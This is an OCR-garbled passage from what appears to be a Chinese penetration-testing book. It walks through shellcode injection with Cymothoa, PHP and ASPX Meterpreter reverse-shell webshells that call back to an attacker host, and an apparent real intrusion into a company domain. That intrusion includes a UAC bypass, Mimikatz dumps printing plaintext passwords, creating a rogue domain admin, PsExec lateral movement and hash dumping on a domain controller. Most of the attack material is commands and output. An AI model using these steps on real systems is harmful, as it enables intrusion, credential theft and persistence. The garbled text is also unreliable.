BERGEER, BUEBR FEaE. KARSEL, ERAMIEE BiR.



1.Cymothoalgi]

Cymothoa2—3XelLlEShellCodei T \IIBHHE (BliEHE) HNEIIIE.
EXMEATFER, TaEBiEShellCodefhEREMER. BRI ARG EFRH4EE
BSEEENARER (H2) 27, LAEREEREMAR AREE. KShellCodeit\H
g, AEBIIMhE: EERRANZ LN T B S I T E =2
%, REEAMGNRG, SiAAT (BHE) Gl EFIHE.

EE—RNEZE TINEANEHE, RENSZHEENISIR A
oY EBroot) . UK, BARNRNETHIEFENEE, FIURBHEXNEBiRE
NER, EITssFE1baT.

B EEERFHIPID (FELinuxZRSE i\ ps-auxins, FEWindowsZR& R
i\ tasklistip<) , WIE5-85F0E5-86F s,

TIME COMMAND
8-83 "

gration/e

migra
[lru-add

E5-85 fELinux FE=SPID

%ﬂﬁﬁ%%ﬁﬁ%"ﬁﬁwmwma«



'{ EREMEENWE" FFhicoe = }.

E5-86 IEWindows RE=SPID
TEEFCymothoalt, Tt -pitIiSE BRHHERIPID, FHEid -stTUEE
ShellCodeflJ4R2, ShellCodeVREFIZEIES-87 7=

# cymothoa -S

- bind /bin/sh to the provided port (requires -y)
bind /bin/sh + fork() to the provided port (requires -y) izik <izik@tty64.org>
bind /bin/sh to tcp port with password authentication (requires -y -o0)
/bin/sh connect back (requires -x, -

- tcp socket proxy (requires -x -y - - ssell Sanford (xort@tty64.org)
script execution (see the payload), creates : p file you must remove
forks an HTTP Server on port tcp/8860 xenomuta. tuxfamily.org/
serial port busybox binding phar@stonedcoder.org mdavis@ioactive.com
forkbomb (just for fun...) Kris Katterjoh
open cd-rom loop (follows /dev/cdrom symlink) - izik@tty64.org

audio (knock knock knock) via /dev/dsp Cody Tubbs (pigspigs@yahoo.com)
POC alarm() scheduled shellcode
POC setitimer() sched d shellcode
- alarm() backdoor (requires -j -y) bind port, fork on accept
setitimer() tail follow (requires -k -x -y) send data via upd

E5-87 ShellCodefJ43
B EERENG, #alLUBCymothoalolHTiIEFEHIZIBinENL L,
ERRfEIER. Bld0, XEIEEPIDASHIHENELIHE, HHAE
ShellCode, {ExEPayloadfif55inl1/94444, BEffa<Sil FAR.
cymothoa-p 982-s 1-y 4444




pINaF A LB LA RpSEZEBR VRG] (444453%00) .
Nc —nvv 192.168.31.247 4444
2.Persistencefgi]
Persistence E— X ERZEBENHTRHFAMGI ERF, =ZLFBE
SRR, B\ run persistence-hEERZINFEm<SIEIR, AE5-88FT

7TNo

El5-88 E5HE)

EEBMAL SR ESAMNGET], WES5-89F 7.

{ﬂﬁﬁ%ﬂiﬁ%"m%»mvns}



E5-89 SIEIFASEI]

E15-89han S NS AR FAf7s.

e A: Bnif55PayloadiZfF.

o S: ZARSHATEMNINE.

o U: PERNBMEM.

o X: FHETEFIINE.

e i: [EENRTIENESE.

o P: BIFREIEEROS.

o r: EIfrt/lE8IPithE,

a]LAEZI, MeterpreteraifEEEBIMIBERATREVER 7, TEBA
sessionsip S EHCOERIERINESIE, JUBRRISAERNEE, NES5-90f k.

?ﬂmﬁ%meM"m%»mvos}

2
S

El5-90 EEMIERENEE

El5-90hHEEFRNKISFA el IEL IR,



—%Eﬁﬁ%ﬁﬁﬁ%"mﬂ»mrn-}—

AR XPMHAFZEEBIRNEE O S ESR Y, Bl Ta
KIARS T
5.8.2 Webfai’]
WebjgiJiziEWebShell, EELHiE—ERMOHS, BIEASP. ASPNET,
PHP. JSPH{#3E. HITIXERIBEETERS RN, BRESBXEREOIRTHIR
B, ERSSERH T EERNBEPBAEFEEHENRAGER, IEETSERER
B, NMERERSSENEEIN. XEEREEEHRSEN— % L—RIAEE

g=lore

Web/SI JBHAIESRUIFESATIEE, ARIPTHS. RESUY. HEnR
. HiTSQLES]. Fi#ShellZ. WindowsZRSE FHHRHENES T "hESE]"
FERZENR "PEZRT) NEFEHFELE, fi “FENG)" fiCknife, 1958
Mac. LinuxflWindows. 7EKali', BRI ZATEEWeevely, WeevelysZiSHLh
BERSEA, EMhttpltTiEoLE, B IESsRRSIEPHP, HkMetasploit
EZEHtBEH T Web/Si], Bi&Meterpreter{EfBnt, ThREERA.

1.Meterpreterfgi’]

EMetasploitd, H—1Z APHP MeterpreterfliPayload, F|EiX o]
tliZEBMeterpreterIEEAIPHP WebShell. TEI &+ EFMetasploit PHP Shellfd
PERAN MR

o {EAmsfvenomEliE—"webshell.php.

o FEwebshell. phpZl| BiRARSS .

e z{TMetasploit multi-handlerFHIGHEIT.

o i7jalwebshell.phpmHE.

o KB ERIMetasploit Shell,

BATeILUEI MetasploitiImsfvenom TEHI{EPHP Meterpreter, #<4
E5-91H7r.



E5-91 #HIEPHP Meterpreter
X _EiRan SR 240580 .
o-p2 TR EPayload.
o FRH BT IREMH AHE.
4RkAshuteer.phplIE5-92ff7.

open v || @0 it . Save | =2 © 0O
/*<Iphp /* /error reporting(®); f 2.16 1.24 ; $port = 4444; it (( =

tream ke ient') && is callable( )) { $5 = $T("tcy rt}"); type =

i ) elseif ((sf = °f ) & 1s _callable(sf)) { $s = $7(Sip, $port); type =

tream : } elseif ((sf = L te') & 1s (dllable(~‘)) { = ST(AF_INET, SOCK STREAM,
SOL TCP); = dsocket connect( ’ port); 11 (! ) { die(); )} type = ket'; )} else
{ die( K f ;) af ( ) ( du-{ t'); )} switch ( t ) { case eam’': $l¢
= fread($s, 4); break; case en = socket read($s, 4); break; } if (!Slen) { die(); }
= unpack(“Nlen", ): sl = $al'le = '"; while (strlen(sb) < $len) { switch (S5 type)
{ case tream': .= fread( s(rlen( b)): break; case ket': sb .= socket read(ss,
$ -strien(sb)); break; } ) o $GLOBA k type B type; eval
(5b); die();

B5-92 EF4mMMIshuteerphpAE
AEtEshuteer.php HEZIBIRIRSS S,
AKali FAY/var/www/htmIBR, F1FFWebShelliiit, #E5-93F3<.

mmﬁwmamw"m%»mvos}

XERAZEMI, FLERSS

NN
‘ var  www | html »
—
index.php nishang shuteer.php  test.php

ents




e
S

ﬂﬁﬁ%%iﬁ%"m%»men-}

E5-93 EFFIKalifgg/var/www/htmIBER R
E&EsIMsfconsole, ERLAFRSIRERT, WES5-94f7.

msf exploit( ) > set payload php/meterpreter/reverse tcp
payload => php/meterpreter/reverse tcp

msf exploit( ) > set lhost 192.168.31.247
Lhost => 192.168.31.247
msf exploit( ) > run

E5-94 I8 EUIFHS
AaFIFThttp://127.0.0.1/shuteer.php, ZNEI5-95F7=.

s http://127.. huteer.php x | &
€ 127.0.0.1/shuteer.phg
Most Visited v [l Offensive Security "\ Kali Linux "\ Kali Docs '\ Kall Tools |

/*no socket

E15-95 #1FFshuteer.php
ERIMSFRE, sILIERIRSHESRSEMT, MES-96F7.

host 192.168.31.247

92.168.31.247:4444

1.247:4444 -> 192.168.31.247:43428) at 2017-06-64 09:58:18 -8400

E5-96 R58AkIh
BafEHsysinfofllgetuidZEMeterpreterap<i3iE BinEHl.
2.Aspx Meterpreter/gi]
THENBRIEMetasploit FZ Ashell reverse tepfPayload, FJFEXME
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tra] sl E B MeterpreterlNBEIZ A ShellCode, FIINLLIRETATJAsp, Aspx.
msi, vbs, warZ, TELAAspxfl.

FEREFERAspx Meterpreter5i A2 B IMetasploit PHP ShellIA7ME
teE. BEsoER MRIBERRER, FHREEX2H, WA

show payloads

use windows/shell reverse tcp

info

set lhost 192.168.31.247

set lport 4444

save

}'ﬁgﬁj}\generate-hun vggﬁgﬂﬁun < SNE5-97 7.

msf payload( ) > generate -h
Usage: generate [options])

Generates a payload.
OPTIONS:

Force encoding
<opt> The list of characters to avoid: '\x00\xff
<opt> The name of the encoder module to use
<opt> The output file name (otherwise stdout)
Help banner
<ppt> the number of encoding iterations
Keep the template executable functional

<opt> The Platform for output.
<opt> NOP sled length.
-t <opt> The output format: bash,c,csharp,dw,dword, hex, java,)s be
powershell,psl,py,python, raw, rb, ruby,sh,vbapplication,vbscript,as

f
]
1
K
-0 <opt> A comma separated list of options in VAR=VAL format
i
S

uac,osx-app,psh,psh-cmd, psh-net,psh-reflection,
x <opt> The e ytable template to use

E5-97 ESFEHHFS
4Rk EhRAShellCodefJ &< FRs.
generate-t asp //4AkAsphifiIShellCode



[l

%ﬂﬁﬁ%%ﬁﬁ%"ﬁﬂwmwma

generate-t aspx //4-AkAspxhiIShellCode
XEBER— M AspxhRIWebShell, REAE5-98F 7.

> generate -t
ventWireup="true

tPtr PAG R RITE=(IntPtr)6x40;

JInt

te

,Bx31,8xcB,8x64,0x8b,0

E5-98 “akAspxhRAIWebShell
BAHERERT Daspx.aspx, B LR BRRSE, XRERIEEMUTFLA

BEiZE4#FWindows 2012 RHIC: /inetpub/wwwrootEH, 2NEI5-99F .

hoR

» EEEE » TIEEE (C) » inetpub » wwwroot

aspnet_chent

l.aspx

M iis-85.png

2 | usstarthtm

E5-99 ERIFERERET
ZAGEMsfconsole, ERLIFM S IRERT.
use exploit/multi/handler

set payload windows/meterpreter/reverse tcp



set Lhost 192.168.31.247
set lport 4444

run

SRISF T http://192.168.31.250/aspx.aspx, AIE5-100F7x.

http://127.0.0.1/test.php  x | http://192.1..50/aspx.aspx x | #

A (e
W
e [ Most Visited v Jf]Offensive Security “§ Kali Linux "8 Kali Docs " Kali Tools
b
27 E15-100 $TFMR
S EEMSFRE, JUENRSHESSND, MEs-1015R.
7]
%
=
F
i_lt B) at 2017-06-84 ©9:58:18 -8400
s
4 E5-101 R
% BJaolLlEHsysinfoflgetuid&EMeterpreterindizia BinEH.
N 39 PRI T8 1 2 5 MU S 451

5.9.1 NMABENE
BN BIRSERNINE: BIRRITEEESE 7 —akSE
PAVMSEF21, ZARSSEEMMIP10.51.0.21. TG AT MRELEEAHIANES-102
Ffi, EARPAVMSEF21 2EE/MNFIRMAIET =, ARMIE RS9 sEERE
EE.
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mmﬁmmamm"a%»mva-g

el

Www. glanani. com

PC
PC PAVMSEF21

10.51.0.21

e

mternet

PAVMSEP131
10.51.0.131

PAVMSXD30
10.51.0.30

PAVMSADG3
10.51.0.63

e

E]5-102 RRMAFNAE
B35 ERERT— ) EElWebShel BFR—5 1A EZER, M
MEEEIARN.
5.9.2 I#FHUR
FEa5MIPayloadZIH 8842 APAVMSEF21, 1P910.51.0.21HIiRSE: L,
RIRIE "hEST])" siZWebShell NizfT, 21E5-103f 7.
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asf exploit( ) > run

Started HTTPS reverse handler on https://0.0.0.0:443/
Starcting the payload handler...
200.215.209.72:65164 (UUID: 0108453967c525b2/x86=1/windows=1/2015~12~11T17

Meterpreter session 1 opened (45. +30:443 -> 277 165164) at

seterpreter > ps
E5-103 f58ATh

ikBMeterpreter Shel G EHHNE—HEIBRERN. BE, maEUES
RERERE T 1 ERESEMNGuestziUserfifR. (EAISBRE NS EHERAIS RSB AR
#H, R nn R M GusetiEFEIUser, BEIAdministrator, S/SZISYSTEM
el

Bl e=d A EAbimtiRREN, BIERAARREIFIBRER (Local
Exploit) I&FAHGR. thiEiR, Bithiair—2IkR. siEmkimtimREiIExploit, 1B
FIF M UsertHa Efth RSt RIEF ZIAdministratorfl (Froot) .

iat, BABREAIBPRE— S BIHAFAGRE, WES5-104F7.
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4

C:\> whowni
medabil\mal doa

netl user maldoa /

\ -ain
The request will be processed at «

contreoll e

User MAL 04
Geovir J » aki Mede
1EOR IR 90

Cnaldl)
.
Never

1e/0%/

ne
saript

profile

direser

Lowed

bearships
embaerahip

LAY
Mastorsal
erver Admi

Drive

Malh
Name

El5-104 =FVIR
B A SHRRIEN, ARG RN T 114
MS150581MS 15078, HBLASKMIEER, 4NE5-105F 7.

medabil

BRE, BE=HER
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maf exploit( ) > use explcxt/vxndavs/1oca1/m515_051_:11en:_copy_1-aqe
maf exploit( ) > sessions

Active sessions

Id Type Information Connection

| meterpreter x86/wind2 MEDABIL\MAL1384 § PAVMSEF21 4S5. 30:443 -> 200.21

msf exploit( ) > set pession 1
session => 1
maf exploit( ) > run

Started reverse handler on 45. +30:4444

Exploit aborted due to failure: not-vulnerable: Exploit not available on this
maf exploit( ) > use exploit/windows/local/mslS 078 _atmfd
maf exploit( ) > set session 1
session => 1
Eﬂl exploit( ) > run

Started reverse handler on 45. .30:4444
Checking target...
Exploit aborted due to failure: not-vulnerable: Exploit not available on this

E15-105 FIFRAMEIEHIES
B=idsd WindowstkFizHl (UAC) , BATIEES — 1 SEEAFIIYL
FR. FIFEBypass UACHIRELY, MLIKIMISE, AEMIISIRE— M
Meterpreter Shell, #1E5-106Ff7~.

maf exploit( ) > use exploit/windows/local/bypassuac
paf exploit( ) > set session 1
ession => 1

f exploit|( ) > run

Started reverse handler on 45 3014444
Exploit aborted due to failure: not-vulnerable: Windows 2012 (Build 9200).
nsf exploit( ) > sessions

E15-106 FlAEBypass UACIEEL
fEFABypass UACKEHHTIRINES, RESAEPWRESERE, mEHF
SPEHIRFUACIREDNERA, B (RS EAER A | e



—-o%ﬂi'fﬁ)lﬁ}ﬁmﬁﬁ%" TEBW oo = }h

Bypass UACIEHRIETHT 2 ATE BRI O Z Al R B EHR5. Filissae
EUHUAC, nJRERIXAMNRE.
HSURURBNIHEAER, FAIARcILALUIRS 20k, IEEMRSS
259,
5.9.3 EEME
BRI RURBART, BRI TEZEMEN. B 7RMNE—&
BIRBRE, FATHRERIEN——WERER, BhERMNBEF ISR —E8

2 s

s

BEETESEWIRSENMSIAS, WEHBIIEXER, SERENER. fr
BHETEN, DEHESSREERNER, TESIH Y ERNGSRENER, WE5-107 ~
El5-112f 7.

e net user/domain: EEIHHF.

e net view/domain: EEG/J1 M.

e net view/domain: XXX: EEHRAIFHL.

e net group/domain: EEHE@AIAE.

e net group “domain computers” /domain: EEIRAFFEINENE.

e net group “domain admins” /domain: EEMEER,

e net group “domain controllers” /domain: EEHITHIEE.

e net group “enterprise admins” /domain: EETEEA,

e nettime/domain: EEMERSEE.
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t\Javaé\jiboss-4.2.3.GA\server\default\tmp\deploy\tmp44828188334920604291 8¢
ipconfig

indows IP Configuration

[Ethernet adapter Ethernet:

Connection-specific DNS Suffix

Link-local IPvé Address . . . . . : feB0::a970:d5c6:c48L:c798812
IPvd Address. . « « « ¢« ¢« « « « « ¢t 10.51.0.22

Subnet Mask . . « « « ¢« ¢« « « « o+ ¢ 255,.255.0.0

Default Gateway . « « « + « « « « ¢ 10.51.6.254

unnel adapter isatap.(BE6ESSDCD-SASA-4C94-996D-A2BEC48CTE6L):

Ci\Javat\jboss~4.2.3.GA\searver\default\tnp\deploy\tap440201083349
net view
Server Name Remark

\\ACO12~-005798N

\\NOB11~-36558N

\\NOB13-41700N

\\NOB13-41744N

\\NOB13-41888N

\\NOB13-4526N

\\NOB14-47578N

\\NOB15-47687N

\\PAFDEDR72 DELL DeDupe Backup Appliance V3.2.0194.0
\\PAFMSBK70

\\PAFMSBK71

N\\PALXMSF137 3.0.395~3.99.e15 »8

N\\PAVIXPID11S Server Version 3.0.33-3.40.e15_10
N\\PAVMSADE S

N\ PAVMSADSA
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C:\>net group /domain
net group /domain
he request will be processed at a domain controller for domain medab

Group Accounts for \\PAVMSADé4.

*$DUPLICATE-5326
*S$DUPLICATE-SaSe
*$UUQO00~-IOMVIPOPR1JO
*Aco-Administrativo_Gravacao
*Aco-Administrativo_ Leitura
*Aco~-Almoxarifado
*Aco~-Ambulatorio

C:\>net group “domain admins™ /domain
net group “domain admins® /domain
The request will be processed at a domain controller for domain r

Group name Domain Admins
Designated administrators of the domain

Citrix AG dellbackup
MA1269 mal3ls
MA1905 Office365
ServiceManager sonicwall sso
sysaid SystemCenter vcenter
xendesktop
The command completed successfully.
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:\>net group "Domain Controllers® /domain
et group "Domain Controllers™ /domain
he request will be processed at a domain controller for domain me

roup name Domain Controllers
All domain controllers in the domain

Ci:\>net group "Enterprise Admins®™ /domain
net group “"Enterprise Admins™ /domain
The request will be processed at a domain controller for domain meds

Group name Enterprise Admins
Comment Designated administrators of the enterprise

Administrator backupexec dellbackup
gruppen Officedés processor
symantec

B5-112 SBRUE
BEWELLHER, BTG RSERNER, FIIRMNEEANS
B, SHEEGEAN, RESESSHIRHEREAMRTEN, LN ERLE

ZREEEH, XERERUHEEERNEFNERSSENEFEHEE.
5.9.4 SRENL—E RS 2RHIER

AN BR2ERSS R, WRERMER: SRiRSS s I ERBEGERS R

AR BRI GRS 28, AoIUBEEKGEN S AEMER: RESRAEREE
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EARER,; MREASEZAIERSEE, WSEERERMPE ] LUEERIERSS 20
eS8, AL ABMEEIEGERSEE.

MR APREER A S EIGEEARSS 8], elLACKEA T G4k s 3i5.

o {EMeterpreter HRIAGRINRAIINMEER, #7550 .

o {EFFPowerShel RIAMHTIIM (ERBNEWindows 7L LIRS

8

o MG Socksda, #AGSocks2AFHTRMITRE.

o H BB REHTRMIPCSZIE.

o Hfth/55%.

BT FESH, FATEERERENGE, BAnet viewisS, TEFEAIN
R EISEE R WSBZELRRESSSELE, AHEMNYE, RIERRESE, 8
5-113ff7.

D:
D: >copy srv.exe \127.0.0.25\ipc$ #EHlsrv.exeR|BirEll

D:

D: >at\127.0.0.25 10: 50 srv.exe #HatanSTE10525055B50srvexe (FE

E5-113 IPCSiEiE
TEBESEE RS NEHEIPCINE.
IPCSNE, ENEILFERWindows RAFENASHINIPCSHEZREITENIE
HIRHNE, TERMHREEN,
BigIEE—&IPCSENL: 127.0.0.25, WAL TGRS,

>net use \127.0.0.25\ipc$ #&E#£127.0.0.2509IPC$H=

>net time \127.0.0.25 #Z&H(a]
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%ﬁiﬁ%ﬂﬁEﬁl‘@%itbiffnaﬁl‘@'r%)
rap S atzi 2. tEI S e BiEESE BN eSS (Flihz712
FF) .
X% AIPayload EEHIPAVMSEP131/RSE:, Ak Batsn<iasl
Payload, <iE[|Meterpreter Shell, EAIR{FUES5-114~ E5-116f7~.

E5-114 EARSEHFE RS E

et time \\PAVMSEP131
Current time at \\PAVMSEP131 is 2"~ """~ '

he command completed succesasfully.

E5-116 FHati S BaAS
E&IRMAlhandleralfr, o] ERIRGEMIIY, B{EKE T PAVMSEP131RS
gEfUMeterpreter Shell, & 5-117F 7=
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2

%

Jnd

. 859 (UJID 443bl1b0d7af¢
’1"[! rprecer session 2 opened (4S.

meterpreter > ps
BE15-117 f38AEL

TEREEPAVMSEP131 RS VS EMIVERISER, 20E5-118F7s.

rpreter > sysinfo
- : PAVMSEP131
: Windows 2008 R2 (Build 7 &
Architecture : X649 (Current Process is WOWE4)
System Language : pt BR
Domain : MEDABIL

Logged On Users : 12

Meterpreter : x86/win32
iecerpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > getpid
Current pid: 17640

Bl5-118 ZEEEAEE
S LAERIRBSYSTEMEUR, 1HEBEER] LAERMimikatzZZTH, tBaJLUsA
run post/windows/gather/hashdumpﬂ%ﬁﬂHasho
HAERMImikatziiHashZ BIETE—/: MRRSBELENE64IRER
%, BIEMimikatz#HEFBEI— 1 64ANEFHIED, FREER64ARNZIEH
N, TE3AUERSFRIREIX R
XEfERAMimikatziliHash, BRE(EANES-119F0E5-120F7x.



meterpreter > upload /home/64.exe c:\
uploading : /home/64.exe -> c:\
uploaded : /home/64.exe ~> c:\\64.exe
meterprecter > shell
Process 2944 created.
Channel 6 created.
Microsoft Windows [Version 6.
Copyright (c) 2009 Microsoftc ! reserved.

C:\Windows\system32>cd \
64cd \

164.exe
64.exe

Authentication Package ¢ Kerberos
kerberos: /stem01@"
wdigest: jystemO1@" (OK)
tapkg @ Sy: 16" (OK)
User Principal : ), rement (Domain User)
in Authentication

Authentication Package

s X
»

A
W
e
b
=
E'3
¥
B
&
%
A
it
%
3
1
2]

3% (OK)
(OK)
(OK)
urement (Domain User)

kerberos:
wdigesc:
tapkg

User Principal

Domain Authentication

wm 3 3
MO U

uthentication Package : Kerberos
kerberos: "medabil2013@"
wdigest: "medabil20138"
tepkg : "medabil2013@"

ser Principal

Domain Authentication
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EEEEMBREAFIIER, WE5-121F7R.

medabil.cor

Home directory
Last logon

Logon hours allowed

Local Group Memberships
Global Group memberships

El5-121 E=SEEFFITIR
5.9.5 PowerShell S EELRSEE
Windows PowerShell2— @ ST/NSIEFHIIIAIAS, FEaS TR
ANRSERILHIF.NET FrameworkAJSEATNEE. PowerSheliRfeiFg L Mm-S HATT
RGBT, STEHRNER, hREIHREEHARIMR.
XEB5efEPower ViewIASIRE M SRR ERNRSE, B8
Power Viewl Il &AH]Invoke-User Huntert&ikh HER|FHZ HPAVMSEP131, IPJ
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10.51.0.13189RS S, =i\ Invoke-UserHunter, 1E5-122f7x.
BikanS4l M.
powershell.exe-exec bypass-Command

"&{Import-Module.\powerview.ps1;Invoke-UserHunter}"



a®
||
e
b
7
2
B
7]
iz
B
A
ik
S
i
&
2]

NN

C:\Users\joao.guerino>powershell.exe -exec bypass
powershell.exe

UserDomain
UserName
ComputerName
IP
SessionFrom
LocalAdmin

UserDomain
UserName
ComputerName
IP
SeasionFrom
LocalAdmin

UserDomain
UserName
ComputerName
IP
SessionFrom
LocalAdmin

UserDomain
UserName
ComputerName
IP
SessionFrom
LocalAdmin

BB SIS R ek
10.51.0.30, WBHENEIRSEE, AR

-Command "&

-exec bypass -Command "& {Import-Module .\powe

. il .cOm.bx
Administrator
NBVMSMBS136..
10.54.0.136
10.54.0.13

“=*-1l.com.br

mal3l3
NBVMSFSO0
{10.54.0. 10.54.

10.11.1.

l.com.br
0.4)

mal3l3
PAVMSSM
10.51.0..
10.1

n .
mal3l3
PAVMSSM”
10.51.0.2
10.11.1

SRAWER IUL%?]PAVMSXD?@ IPJ
ERETR SRS S




'{ EREMEENWE" FFhicoe = }.

5 7 EEINR.
5.9.6 FREUHERUR

IITEEEE AT HFREY 4142 IPAVMSXD30, 1P#910.51.0.30MARSS 58478,
E Rl L US Bz Y.
B7cii\getsystemin SIEFABER, WNES-123F1E5-124F7.

e 1 (Named Pipe Impersonation

E5-124 EF5a1BF
o ERIEEIERNUIDEsonicwall, NFTERBNEEERKSEE+E
Hsonicwal | 2 EZIER.
RN\ psip SN ZIRFERIAIZ, iBMeterpreter Shel 2RI
B, RIhERRE EEESPR, WE5-12507.
meterpreter > migrate 305680

Migrating from 20748 to 30568...
Migration completed successfully.

getuid

¢ ame: MEDABIL\sonicwall
mecterpreter > getpid
Current pid: 30568

5-125 TEHE
XERTITRIHE, thoJlERMetasploithHIETEISHETNEE, EIRESRE
REHEER.
EEEETIRIP, XE{FAnet timefhd, — RN BIRSSEEEMIRS
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8%, WIE5-126F7.

meterpreter > shell

Proceass 9392 created.

Channel 1 created.

Microsoft Windows ([Version 6.3.9600)
(c) 2013 Microsorfc Corporation.
C:\Windows\system32>net time

net time

Current time at \\PAVMSADGE4.n .com.br is 11/1

The command completed successrfully.

BE5-126 EFEEEZIP
AR RN ARSS SR 1Z IPAVMSADG4, IPHEHE#10.51.0.63.
MEFA eI LMERLBHIPCS N ERRSE—"Meterpreter Shell, E{KIR{E
ANE5-127F#1E5-128F 7.

C:\Windows\system32>net use \\PAVMSADéE4.. .com.br\c$
net use \\PAVMSADG4. r l.com.br\c$
The command completed successfully.

El5-127 IPC$isE

C:\Users\mal246>at \\PAVMSAD64.:r ' " "l.com.br 18:55:25 c:\payload.exe
at \\PAVMSAD64. " "l.com.br 18:55:25 c:\payload.exe

The AT command has been deprecated. Please use schtasks.exe instead.

The request is not supported.

El5-128 FHat®m S EaRS
Rrat S EEHFE, EABRMINERESZEWindows 2012, BITERERH
schtasks@ $SERIMRNES. RANECSEREERSR NE Y, FBAEIRHR
I—NEERM,, MES-129F7.
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C:\Users\mal246>net user sonicwalll PasswOrk!'@3 /ad /domain
net user sonicwalll PasswOrk!@3 /ad /domain
The request will be processed at a domain controller for domain r

The command completed successfully.

C:\Users\mal246>net group “"domain admins®™ sonicwalll /ad /domain
net group “domain admins®™ sonicwalll /ad /domain
The request will be processed at a domain controller for domain w

The command completed successfully.
BE5-129 iR EE RS

FFEIN R SHAIKF 257N, 2E5-130F 7.

C:\Users\mal246>net group “domain admins®™ /domain
net group “domain admins™ /domain
he request will be processed at a domain controller for domain

Group name Domain Admins
Designated administrators of the domain

Citrix AG dellbackup
MA1269 mal3ls
: MA1905 Office3é65
ServiceManager sonicwall sonicwalll
sso sysaid SystemCenter
vcenter xendesktop
The command completed successfully.

E5-130 E5EHEE
SUEREE BRI T SEak,.
5.9.7 BRIz
DA BREAETRITF 7. ETCRREEREE, AaiUEiziHash.
BEIREREIEN AR XU,
o HFBIPC_ HEAT&SchtasksiTi2ATHS.
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o I BIHOE AT ESocks BRI IR M.

o T AWM —&1tEEBPsTools T E&HRIPsExeckki#Shell,

o {EfFMetasploit FYPsExec, psexec psh. Impacket psexec, pth-
winexe. Empire Invoke-PsexecZPsExeczE T Efw5%Shell.

o {EAMetasploit FiJsmb_login¥f3#Meterpreter,

o SFAAWMI (Windows Management Instrumentation) SR {7IE.

e {EFHPsRemoting posershelii2HiT4H <.

o Hith—755%,

XEXARENTEEMNRSFNHI, ElMetasploit FHIPsExeck /58
Meterpreter, FERRETIELNNXAER, WES5-131F7.

o MSFHAIPsExect&Eth,

e cuestomiBith, FEN RSN Veil 72 T B4 A S Payload.

maf exploit|( ) > use exploit/windows/smb/pasexec
maf exploic|( ) > set smbuser sonicwalll

smbuser => sonicwalll

maf exploict|( ) » set smbpass PasawOrk!@3

smbpass => PasswOrk!@3

maf exploict|( ) > set smbdomain MEDABIL

pmbdomain => MEDABIL

maf exploic|( ) > run

Exploit failed: The following options failed to validate: RHOST.

maf exploict( ) > set rhost 10.51.0.64
host => 10.51.0.64
msf exploict( ) > run

Started reverse handler on 45.° 30:4444
Connecting to the server...
Authenticating to 10.51.0.64:445|MEDABIL as user 'sonicwalll'...
Selecting PowerShell target
10.51.0.64:445 - Executing the payload...
[+#] 10.51.0.64:445 - Service start timed out, OK if running a command or

BE5-131 {EFEPsExeciEil 8 Meterpreter
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S[LABRIEERGERIN Y, ARTTEHE, EamiENERASEMsessions
BHIE, tNE5-13281E5-133F 7.

meterpreter > migrate 2416
Migrating from 9912 to 2416...
Migration completed successfully.
peterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
peterpreter > getpid
urrent pid: 2416
meterpreter > sysinfo
PAVMSADG4
Windows 2012 (Build 95200).
Architecture : x64
System Language : pt BR
Domain : MEDABIL
Logged On Users : 16
eterpreter : x64/winé4
meterpreter > D

BE5-132 iTgiE

f post|( ) > sessions

Active sessions

Type Information Connection

meterpreter x86/win32 MEDABIL\MA1384 @ PAVMSEF21
meterpreter x86/win32 NT AUTHORITY\SYSTEM @ PAVMSEP131
meterpreter x86/win32 NT AUTHORITY\SYSTEM @ PAVMSDI142
meterpreter x64/winé4 MEDABIL\sonicwall @ PAVMSXD30
meterpreter x64/winé4 NT AUTHORITY\SYSTEM @ PAVMSADG4

E5-133 EZFsessions
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BEg: AR RIEEIsessionit G517, session18WebShellfZ3#,
session2fl|HipcS N2, BiEsessiondBRIESIREURSIELLIRSES, session5h
. BYNSECIEAEIA, ME.

B HERER, E5FkMHash, ERAEELITXILi.

o {FEHMetasploitEmHIdumphashaiZsmart_hashdumpERSHEFH
Hash.

o FFPowerShel fENEH S HHash.

e FFAWCE, MimikatzETE.

o EHfth5iE.

XEFEA T MetasploitEmHdumphashifitk, FETE, BEFHIER
SiiHash, WRESYSTEMBIBIRATT, BEARIENES-134f 7.

maf exploit( ) > use post/windows/gather/smart hashdump
af post|( ) > show options

pModule options (post/windows/gather/smart hashdump) :

Current Setting Required Description

GETSYSTEM false ! Attempt to get SYSTEM privilege on the 9
SESSION yes The session to run this module on.

) > set session §
) > run

Running module against PAVMSAD&E4

Hashes will be saved to the database if one is connected.

Hashes will be saved in loot in JtR password file format to:

/root/.msf4/100t/20151211161520_default_10.51.0.64_windows.hashes 749907.txt
This host is a Domain Controller!

Dumping password hashes...

E5-134 #MEWEEHash
5.9.8 SMBIEHZAIK
BN, # FBSERERRERMNT AASHINRT, BER2EM AT
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7TRe

o I LATERENAVIEE 23, B MEIEI PR TR

e FEFISMB FYsmb_logintéith,

o iR A Socks R EHIIM.

B 15cAEMetasploitAINEEH, AfafERsmb_logint&EiiaiE

psexec_scannerfEHRIH{TIRE, EANISE{EAIES-135 ~ E5-137R7n.

meterpreter > background

Backgrounding

exploit ( ) > route add 10.51.0. 1 255.255.0.0 2
Route added

exploit( ) > search smb _login

atching Modules

Name Disclosure Date
auxiliary/fuzzers/smb/smb ntlml login corrupt
auxiliary/scanner/smb/smb_login

f exploict|( auxiliary/scanner/smb/smb login
f auxiliary( ) > set rhosts 10.51.0. ~“./24

hosts => 10.51.0.131/24

f auxiliary( ) set smbuser 3

mbuser => joao.guerino

f auxiliary( ) set smbpass ...

smbpass => medabil20138@
nsf auxiliary( ) set smbdomain MEDABIL
mbdomain => MEDABIL

f auxiliary( ) set threads 16

BE5-135 ig=smb _loginiEit

Rank

norma
norma




Could not connect
Success:
Success:

Success:
PUACDD . s e UEL AL .

Success:

BE5-136 FHATEAN

maf auxiliary(
Credentials

origin service

445/ccp
445/ccp
445/tcp
445/ccp
445/ccp
445/ccp
445/ccp
445/ccp
445/tep
445 /v mm
445/tcp

booooocooaaaoaen

BE5-137 EEEEEN
oJLAEH, BT ASNMRSSEEIZRS, TEMAILWHRFAM 7. Bl
{EfAMeterpreterfilUin[ 1%, tBa]{EFAMetasploit FAYSocksdatdithalZ =1
NP 4L

ﬁﬁﬁ%%iﬁ%"m%»mcos}

2

XEE Rt ERMeterpreterfilim 138 % 800], WNE5-138F7x.

meterpreter > portfwd add -1 5555 -p 3389 -r 127.0.0.1
Local TCP relay created: 0.0.0.0:5555 <-> 127.0.0.1:3389

meterpreter > background

m5-138 s
5.9.9 i5IEHE
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BEATEEGLUININESER, ME5-139 ~E5-14107k.
o MR AR SRS,

o MERFFEESETEPEREN T A,

